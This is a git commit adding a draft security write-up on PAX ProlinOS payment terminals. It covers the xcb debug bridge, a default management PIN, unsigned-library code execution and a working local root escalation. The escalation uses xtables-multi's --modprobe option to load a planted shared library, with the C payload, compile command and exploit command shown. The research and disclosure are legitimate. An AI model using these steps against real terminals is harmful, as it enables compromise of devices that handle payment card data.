Writeup draft
This commit is contained in:
parent
0c49a21a8a
commit
7d5e76bf9f
323
Readme.md
323
Readme.md
@ -0,0 +1,323 @@
|
|||||||
|
## Intro
|
||||||
|
[PAX](https://www.pax.com.cn/) is a Chinese manufacturer of payment devices, and as per their claim they have sold more than 34 million units in 110 countries.
|
||||||
|
|
||||||
|
They mainly have two kinds of products, those based on ProlinOS, which is a custom OS developed by them and derived from Android and those based directly on a more vanilla Android.
|
||||||
|
|
||||||
|
This research is focused on the devices running ProlinOS, which are:
|
||||||
|
|
||||||
|
```
|
||||||
|
D190
|
||||||
|
D200
|
||||||
|
D210
|
||||||
|
Q80
|
||||||
|
Q92
|
||||||
|
S80
|
||||||
|
S300
|
||||||
|
S800
|
||||||
|
S900
|
||||||
|
S920
|
||||||
|
```
|
||||||
|
|
||||||
|
Other models might be running ProlinOS too but their specification is not detailed on the official PAX website.
|
||||||
|
|
||||||
|
For this research, I have bought a S900 from eBay and was lucky enough to find a used model targeted at developers. I will specify when something applies only to the developer model and not the production ones, although very little differs in terms of vulnerabilities.
|
||||||
|
|
||||||
|
## Resources
|
||||||
|
Before starting the analysis, I found the following resources very useful:
|
||||||
|
|
||||||
|
PDF:
|
||||||
|
|
||||||
|
* [http://files.nilsoft.ru/Termassist/Prolin2.X_User_Guide(V1.0.7).pdf](http://files.nilsoft.ru/Termassist/Prolin2.X_User_Guide(V1.0.7).pdf)
|
||||||
|
* [https://usermanual.wiki/Document/Prolin20TermAssist20Operating20Guidev300.2027739282/view](https://usermanual.wiki/Document/Prolin20TermAssist20Operating20Guidev300.2027739282/view)
|
||||||
|
* [https://usermanual.wiki/Document/Prolin20Terminal20Manager20Operating20Guide20v201.172265983/view](https://usermanual.wiki/Document/Prolin20Terminal20Manager20Operating20Guide20v201.172265983/view)
|
||||||
|
* [https://docs.cloudwalk.io/en/framework/pax](https://docs.cloudwalk.io/en/framework/pax)
|
||||||
|
* [https://docs.cloudwalk.io/en/framework/pax-linux](https://docs.cloudwalk.io/en/framework/pax-linux)
|
||||||
|
|
||||||
|
Files:
|
||||||
|
* [https://dl.cloudwalk.io/util/term-assist.zip](https://dl.cloudwalk.io/util/term-assist.zip)
|
||||||
|
* [https://dl.cloudwalk.io/util/xcb-with-driver.zip](https://dl.cloudwalk.io/util/xcb-with-driver.zip)
|
||||||
|
*
|
||||||
|
|
||||||
|
FCC Documents:
|
||||||
|
* [https://fccid.io/V5PS900](https://fccid.io/V5PS900)
|
||||||
|
* [https://fccid.io/V5PS900/Internal-Photos/Internal-photos-2656645](https://fccid.io/V5PS900/Internal-Photos/Internal-photos-2656645)
|
||||||
|
|
||||||
|
It's possible to see clearly from the `Internal Photos` PDF that the device has an additional battery and multiple anti-tampering contacts; there's also a warranty sticker on the side. Hardware attacks are probably possible, but out of scope here as I lack both skills and equipment to work in that direction. Furthermore, a hardware attack would be more difficult to execute in real-life scenarios because of the circumstances in which a POS is used.
|
||||||
|
|
||||||
|
## Hardware Info
|
||||||
|
The device has a color display, WiFi, GSM, Bluetooth, an AC charging port, and two mini USB ports. From the specifications, one is used for serial communication and the other one for USB communication. It has a Broadcom BCM5892, 128MB of flash and 64MB of RAM.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## ProlinOS
|
||||||
|
ProlinOS is a minimal Linux distribution, probably derived from Android.
|
||||||
|
|
||||||
|
## Communication
|
||||||
|
The device needs to be rebooted into the management interface (called `TM`). To do so on the S900 press the number `2` repeatedly during boot (even after the `SELF-TEST` screen). On the D200 do the same but with the key `F2`. Other devices have probably similar keys, and they can be guessed in a few attempts.
|
||||||
|
|
||||||
|
From there go to `System Config`. enter the default pin which is `123456` and enable the XCB service. The XCB service can run both via the serial interface and network, depending on the model and the version of ProlinOS. For the serial interface, use the driver provided in the links in the Intro section, for the network interface, first connect the device to a WiFi network and the service will be on `<ip>:5555`.
|
||||||
|
|
||||||
|
The development kit found online is composed of a GUI called `TermAssist` on Windows and an executable, called `xcb`. It turns out that `TermAssist` is just an interface of `xcb`.
|
||||||
|
|
||||||
|
It turns out, that, although `xcb` calls itself `Xos Communication Bridge` it's just a slightly modified version android `ADB`.
|
||||||
|
|
||||||
|
I reversed the client and modified `python-adb` accordingly (and also added code to make it work over serial interface).
|
||||||
|
|
||||||
|
`shell` functionality has been removed, as many others, but `push`, `pull`, `ls` and port forwarding are still available even if not present in the program help.
|
||||||
|
Supposedly, `xcb` is intended only for adding applications to the device (which needs to be signed), updating ProlinOS (again, signed stuff), adding assets to existing applications (images, front, etc all unsigned) and eventually adding user-provided keys for signing packages. It is yet unclear to me if user-provided keys need to be signed by the manufacturer and in which format they are to be supplied because I didn't look into it.
|
||||||
|
|
||||||
|
There's also a `telnet` command which will port forward to the local machine a telnet daemon. This command will only work on development devices because the whole `telnet` binary is removed from busybox on production devices.
|
||||||
|
|
||||||
|
## Debug Level
|
||||||
|
Devices have three debug levels:
|
||||||
|
* 0 -> Production devices, busybox has no `sh` nor telnet, `xcb` works
|
||||||
|
* 1 -> Application development devices, `busybox` has both `sh` and `telnet`. There's also a handy `gdbserver` in place. Root access is disabled, kernel, kernel modules, and some PAX configuration and binaries are not readable
|
||||||
|
* 2 -> Prolin development devices, `root` should be available with a hardcoded password
|
||||||
|
|
||||||
|
We'll see that from debug level `0` it is possible to escalate to root privileges.
|
||||||
|
|
||||||
|
|
||||||
|
## Basic Linux info
|
||||||
|
From the development S900:
|
||||||
|
|
||||||
|
```
|
||||||
|
~ $ uname -a
|
||||||
|
Linux localhost 3.0.56+ #1 Wed Mar 9 13:09:46 CST 2016 armv6l GNU/Linux
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
~ $ netstat -a
|
||||||
|
Active Internet connections (servers and established)
|
||||||
|
Proto Recv-Q Send-Q Local Address Foreign Address State
|
||||||
|
tcp 0 0 127.0.0.1:7037 0.0.0.0:* LISTEN
|
||||||
|
Active UNIX domain sockets (servers and established)
|
||||||
|
Proto RefCnt Flags Type State I-Node Path
|
||||||
|
unix 2 [ ACC ] STREAM LISTENING 842 /dev/socket/property_service
|
||||||
|
unix 2 [ ACC ] STREAM LISTENING 869 /tmp/crashd
|
||||||
|
unix 2 [ ACC ] STREAM LISTENING 877 /tmp/MODEM_DAEMON_SERVER
|
||||||
|
unix 2 [ ACC ] STREAM LISTENING 880 /tmp/MODEM_POWER
|
||||||
|
unix 2 [ ACC ] STREAM LISTENING 885 /tmp/pm_socket
|
||||||
|
unix 2 [ ] DGRAM 900 /var/run/wpa_supplicant/wlan0
|
||||||
|
unix 2 [ ACC ] STREAM LISTENING 913 /tmp/PED_DAEMON_SERVER
|
||||||
|
unix 2 [ ACC ] STREAM LISTENING 917 /tmp/PED_SHUTDOWN_SERVER
|
||||||
|
unix 2 [ ACC ] STREAM LISTENING 929 /tmp/ipservice_server
|
||||||
|
unix 3 [ ] STREAM CONNECTED 971
|
||||||
|
unix 3 [ ] STREAM CONNECTED 970
|
||||||
|
unix 3 [ ] STREAM CONNECTED 944
|
||||||
|
unix 3 [ ] STREAM CONNECTED 943
|
||||||
|
unix 3 [ ] STREAM CONNECTED 888
|
||||||
|
unix 3 [ ] STREAM CONNECTED 887
|
||||||
|
unix 3 [ ] STREAM CONNECTED 873
|
||||||
|
unix 3 [ ] STREAM CONNECTED 872
|
||||||
|
unix 3 [ ] STREAM CONNECTED 868
|
||||||
|
unix 3 [ ] STREAM CONNECTED 867
|
||||||
|
unix 3 [ ] STREAM CONNECTED 845
|
||||||
|
unix 3 [ ] STREAM CONNECTED 844
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
~ $ ls /bin
|
||||||
|
[ chown false killall ls mknod ps rz sync true yes
|
||||||
|
[[ clear find less lsb mount pwd sb sz udhcpc6
|
||||||
|
ash cp gdbserver ln lsx mv rb setprop tee umount
|
||||||
|
busybox date getprop lock lsz netstat readlink sh test uname
|
||||||
|
cat dmesg hexdump lrb md5sum nice rm sleep time vi
|
||||||
|
chgrp echo id lrx mkdir ping rmdir su top wget
|
||||||
|
chmod env kill lrz mkfifo ping6 rx sx touch xlogin
|
||||||
|
|
||||||
|
~ $ ls /usr/bin/
|
||||||
|
crashd ip6tables-save logcat systemservice xcbd
|
||||||
|
devinfo ipservice logwrapper tm xtables-multi
|
||||||
|
gpsd iptables modemd ts_calibrate
|
||||||
|
installer iptables-restore pedd wpa_supplicant
|
||||||
|
ip6tables iptables-save runapp wpa_supplicant_ap6181
|
||||||
|
ip6tables-restore keyman servicemanager xcb
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
~ $ lsmod
|
||||||
|
Module Size Used by Tainted: P
|
||||||
|
lcd_panel_TM035KBH08_36 2917 0
|
||||||
|
lcd_hw_ctrl 3175 0
|
||||||
|
lcd_fb 6024 2
|
||||||
|
asix 41551 0
|
||||||
|
prt_printer 259191 0
|
||||||
|
logger 265925 14
|
||||||
|
rsi_master 53658 0
|
||||||
|
rsi_client 210076 1 rsi_master
|
||||||
|
ads7846 7341 0
|
||||||
|
bcm589x_i2s 7153 0
|
||||||
|
verify 3046 0
|
||||||
|
bcm589x_sec 12844 0
|
||||||
|
bcm5892_bbl 7412 1
|
||||||
|
pcd_rc663 13826 0
|
||||||
|
pcd_base 6173 0
|
||||||
|
msr 15271 0
|
||||||
|
sci_bcm5892_tda8026 21068 0
|
||||||
|
keypad_matrix 5211 0
|
||||||
|
input_base 8589 2 ads7846,keypad_matrix
|
||||||
|
misc 6270 0
|
||||||
|
pmu_dummy 2878 4
|
||||||
|
bm_bq24103 1946 0
|
||||||
|
tty_host 10608 0
|
||||||
|
tty_devices 89511 2
|
||||||
|
bcm589x_otg 169745 1 tty_devices
|
||||||
|
bcm589x_dwccom 25580 1 bcm589x_otg
|
||||||
|
pm_bcm5892 3845 2 msr,keypad_matrix
|
||||||
|
ioconfig 8120 3 msr,sci_bcm5892_tda8026,keypad_matrix
|
||||||
|
S900_M07_P05_GPRS_MG323 2525 3 prt_printer,bm_bq24103,bcm589x_otg
|
||||||
|
devices_base 26185 7 pcd_base,msr,sci_bcm5892_tda8026,tty_host,tty_devices,bcm589x_otg,S900_M07_P05_GPRS_MG323
|
||||||
|
bcm5892_rtc 4938 0
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Signature Bypass and Code Execution
|
||||||
|
Although ELF files need to be signed in order to be executed (later we'll see how), libraries apparently do not. This means that it is possible to run custom executables without issues, given that we have a working shell and `LD_PRELOAD` is working or that, even without a shell, we can overwrite a library in use by some application.
|
||||||
|
|
||||||
|
`installer`, which is the executable being called by `xcbd` (the `xcb` daemon server, like `adbd`) is responsible for verifying binary files before adding them. This does not mean that the kernel doesn't check again (it does) but means that ELF signature verification is available via userspace and is provided by a kernel module.
|
||||||
|
|
||||||
|
It simply open the device `/dev/verify`, use some `ioctl` calls and send the executable files. Depending on the `ioctl` results it is possible to determine if a binary file has been correctly signed. As per the signature format, it's possible to guess that it is simply made by an RSA 2048 signature appended at the end of the file plus the string `SIGNED_VER:00001`.
|
||||||
|
|
||||||
|
## Privilege Escalation
|
||||||
|
|
||||||
|
By looking into the device, there are mainly two possible vectors of privilege escalation which are:
|
||||||
|
* The outdated kernel is vulnerable to [dirtycow](https://dirtycow.ninja/) and many other kernel exploits
|
||||||
|
* The only `setuid` binary is `xtables-multi`
|
||||||
|
|
||||||
|
I did try a couple of dirtycow payloads but they didn't work. I'm no kernel hacker and I have no privileges to debug the kernel (which by the way has been modified by PAX developers) so the `xtables-multi` binary looks more promising.
|
||||||
|
|
||||||
|
For those who don't know, `xtables-multi` is `xtables multi-link binary for Netfilter's iptables and ip6tables `.
|
||||||
|
|
||||||
|
```
|
||||||
|
xtables-multi
|
||||||
|
ERROR: No valid subcommand given.
|
||||||
|
Valid subcommands:
|
||||||
|
* iptables
|
||||||
|
* main4
|
||||||
|
* iptables-save
|
||||||
|
* save4
|
||||||
|
* iptables-restore
|
||||||
|
* restore4
|
||||||
|
* iptables-xml
|
||||||
|
* xml
|
||||||
|
* ip6tables
|
||||||
|
* main6
|
||||||
|
* ip6tables-save
|
||||||
|
* save6
|
||||||
|
* ip6tables-restore
|
||||||
|
* restore6
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
~ $ xtables-multi iptables
|
||||||
|
iptables v1.4.21: no command specified
|
||||||
|
Try `iptables -h' or 'iptables --help' for more information.
|
||||||
|
```
|
||||||
|
|
||||||
|
As we can see the version is not so new.
|
||||||
|
|
||||||
|
By just searching, in theory, it should be vulnerable to [CVE-2019-11360](https://0day.work/cve-2019-11360-bufferoverflow-in-iptables-restore-v1-8-2/).
|
||||||
|
After a brief look at our `xtables-multi` binary which seems to have not been greatly modified from the original, and by looking at the source code of version 1.4.21, it's possible to see that it should indeed be vulnerable:
|
||||||
|
|
||||||
|
* In [iptables-restore.c](https://git.netfilter.org/iptables/tree/iptables/iptables-restore.c?h=v1.4.21) there's the original buffer overflow as described by the original author of the CVE
|
||||||
|
* It's also true for [ip6tables-restore.c](https://git.netfilter.org/iptables/tree/iptables/ip6tables-restore.c?h=v1.4.21)
|
||||||
|
* There's an additional vulnerability, almost identical to the other two in [iptables-xml.c](https://git.netfilter.org/iptables/tree/iptables/iptables-xml.c?h=v1.4.21). We can see that a quoted string can exceed the `param_buffer[1024]` and is then written there using `strncpy(param_buffer, param_start, param_len);` and there are no length checks. It has been fixed in the same commit of the first two, but the code has been removed before the release of the fixed version so i guess that the Netfilter developers noticed it.
|
||||||
|
|
||||||
|
With a couple of test it is possible to obtain a Segfault in both cases. ASLR is enabled and the NX bit is set, but no other protections seem to be present.
|
||||||
|
|
||||||
|
This way looked promising but in the meantime, we found a simpler way.
|
||||||
|
|
||||||
|
Iptables has a `--modprobe` options which is present in the usage documentation but is not greatly explicited on what it accepts and on how does it work. I already used it for a privilege escalation in a [local CTF](https://twitter.com/smaury92) when the `iptables` binary was the only command allowed in `sudoers`.
|
||||||
|
|
||||||
|
As on how does it work it basically executes the command provided to the `--modprobe` switch, which might be an executable or a shell script. The main requirement is that the required module must be missing (otherwise the whole modprobe thing is useless), meaning that for example the `nat` module must be unloaded.
|
||||||
|
|
||||||
|
```
|
||||||
|
~ $ iptables -t nat -L
|
||||||
|
iptables v1.4.21: can't initialize iptables table `nat': Table does not exist (do you need to insmod?)
|
||||||
|
Perhaps iptables or your kernel needs to be upgraded.
|
||||||
|
```
|
||||||
|
|
||||||
|
So the first requirement is satisfied. However, it didn't work because the command didn't get executed because as it turns out, before attempting to load the module manually the code will check if the `/proc/net/ip_tables_names` file exists and use it as a reference.
|
||||||
|
|
||||||
|
```
|
||||||
|
~ $ ls -lart /proc/net/ip_tables_names
|
||||||
|
-r--r----- 1 root root 0 Jun 1 17:29 /proc/net/ip_tables_names
|
||||||
|
```
|
||||||
|
|
||||||
|
Luckily there's also `ip6tables` which requires a different file, called `/proc/net/ip6_tables_names` and since we all know that the world is not IPv6 ready, this one indeed doesn't exists.
|
||||||
|
|
||||||
|
```
|
||||||
|
~ $ ls /proc/net/ip6_tables_names
|
||||||
|
ls: /proc/net/ip6_tables_names: No such file or directory
|
||||||
|
```
|
||||||
|
|
||||||
|
Lastly, we need a signed executable to run or a script (scripts do work because the interpreter, busybox is signed). Unfortunately, busybox, if run this way will instantly drop its privileges.
|
||||||
|
Also, we cannot pass `LD_PRELOAD` to an `execv` call so the only way is to actually swap a library used by a signed executable that we can call.
|
||||||
|
|
||||||
|
Luckily, on my device there are two user-installed apps (every working terminal must have at least one) and they both use shared libraries with are writeable by the low privileged user. I wouldn't say that this itself is some kind of vulnerability because our current user is indeed the user responsible for installing (and thus if required overwriting) the applications and their assets.
|
||||||
|
|
||||||
|
|
||||||
|
So, some simple code like:
|
||||||
|
```
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
int _init() {
|
||||||
|
unsetenv("LD_PRELOAD");
|
||||||
|
puts("LD_PRELOAD is working!");
|
||||||
|
setreuid(0, 0);
|
||||||
|
setuid(0);
|
||||||
|
printf("UID: %d. EUID: %d.\n", getuid(), geteuid());
|
||||||
|
system("/bin/sh");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
Cross compiled:
|
||||||
|
```
|
||||||
|
arm-none-eabi-gcc -shared -fPIC -o privesc.so privesc.c -nostartfiles -static
|
||||||
|
```
|
||||||
|
|
||||||
|
Here are the two executables which are user writeable:
|
||||||
|
```
|
||||||
|
~ $ ls /data/app/MAINAPP/bin/
|
||||||
|
MablApp MerchantDeviceApp
|
||||||
|
```
|
||||||
|
|
||||||
|
Required libraries:
|
||||||
|
```
|
||||||
|
host:/# arm-none-eabi-objdump -x MablApp | grep NEEDED
|
||||||
|
NEEDED libosal.so
|
||||||
|
NEEDED libarchive.so.13
|
||||||
|
NEEDED libsqlite3.so
|
||||||
|
NEEDED libcrypto.so.1.0.0
|
||||||
|
NEEDED libz.so.1
|
||||||
|
NEEDED libfreetype.so.6
|
||||||
|
NEEDED libpng12.so.0
|
||||||
|
NEEDED libpthread.so.0
|
||||||
|
NEEDED libts-1.0.so.0
|
||||||
|
NEEDED libxui.so
|
||||||
|
NEEDED libgcc_s.so.1
|
||||||
|
NEEDED libc.so.6
|
||||||
|
```
|
||||||
|
|
||||||
|
These libraries, on the device are in `/data/app/MAINAPP/lib/`. I choose to overwrite `libsqlite3.so` with `privesc.so`:
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
/data/app/MAINAPP $ id
|
||||||
|
uid=999(MAINAPP) gid=999(MAINAPP) groups=1(system),2(hwdev),999(MAINAPP),999(MAINAPP)
|
||||||
|
/data/app/MAINAPP $ xtables-multi ip6tables -t nat -L --modprobe=/data/app/MAINAPP/bin/MablApp
|
||||||
|
Test ld_preload
|
||||||
|
My UID is: 0. My GID is: 999. My EUID is: 0
|
||||||
|
|
||||||
|
|
||||||
|
BusyBox v1.22.1 (2016-03-09 12:47:22 CST) built-in shell (ash)
|
||||||
|
Enter 'help' for a list of built-in commands.
|
||||||
|
|
||||||
|
/data/app/MAINAPP # id
|
||||||
|
uid=0(root) gid=999(MAINAPP) egid=0(root) groups=1(system),2(hwdev),999(MAINAPP),999(MAINAPP)
|
||||||
|
```
|
@ -9,7 +9,7 @@
|
|||||||
<freeflash>61.27M</freeflash>
|
<freeflash>61.27M</freeflash>
|
||||||
<boot>2.0.05.3256</boot>
|
<boot>2.0.05.3256</boot>
|
||||||
<ram>59.14MB</ram>
|
<ram>59.14MB</ram>
|
||||||
<freeram>32.15M</freeram>
|
<freeram>32.14M</freeram>
|
||||||
<pn>S900-0GW-363-02LU</pn>
|
<pn>S900-0GW-363-02LU</pn>
|
||||||
<pukmode>2</pukmode>
|
<pukmode>2</pukmode>
|
||||||
<msr>MEGAHUNT SecureHead Reader V4.32</msr>
|
<msr>MEGAHUNT SecureHead Reader V4.32</msr>
|
||||||
|
Loading…
Reference in New Issue
Block a user